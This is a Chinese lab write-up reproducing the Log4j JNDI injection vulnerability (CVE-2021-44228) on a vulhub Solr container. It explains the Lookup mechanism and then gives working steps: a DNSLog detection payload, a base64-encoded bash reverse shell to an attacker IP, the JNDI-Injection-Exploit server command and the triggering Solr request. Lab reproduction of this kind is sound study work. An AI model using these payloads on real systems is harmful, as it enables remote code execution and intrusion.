kali:192.168.222.165 本机:192.168.225.18
原理
Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。
由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。
Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。
启动docker
进入vulhub/log4j/CVE-2021-44228
启动环境
docker-compose up -d
Windows主机访问
漏洞复现
首先验证漏洞是否存在
在DNSLog Platform 上获取一个地址
利用临时获取的payload访问原来的地址,并将action的参数换成payload
http://192.168.222.165:8983/solr/admin/cores?action=${jndi:ldap://cc6r3j.dnslog.cn}
回到dnslog点击Refresh Record,出现返回结果,说明存在log4j漏洞
进行攻击
应用工具JNDI-Injection-Exploit搭建服务:
下载:
利用JNDI注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
格式:
Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub
对执行的命令进行加密bash64进行加密
bash -i >& /dev/tcp/192.168.225.18/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xOC82NjY2IDA+JjE=
windows本机进行执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.225.18
得到rmi、ldap参数:
然后用windows本机进行监听
将DNS的payload换成刚获得的ldap的参数,然后回车访问
ldap://192.168.225.18:1389/tjzlts
192.168.222.165:8983/solr/admin/cores?action=${jndi:ldap://192.168.225.18:1389/tjzlts}
得到权限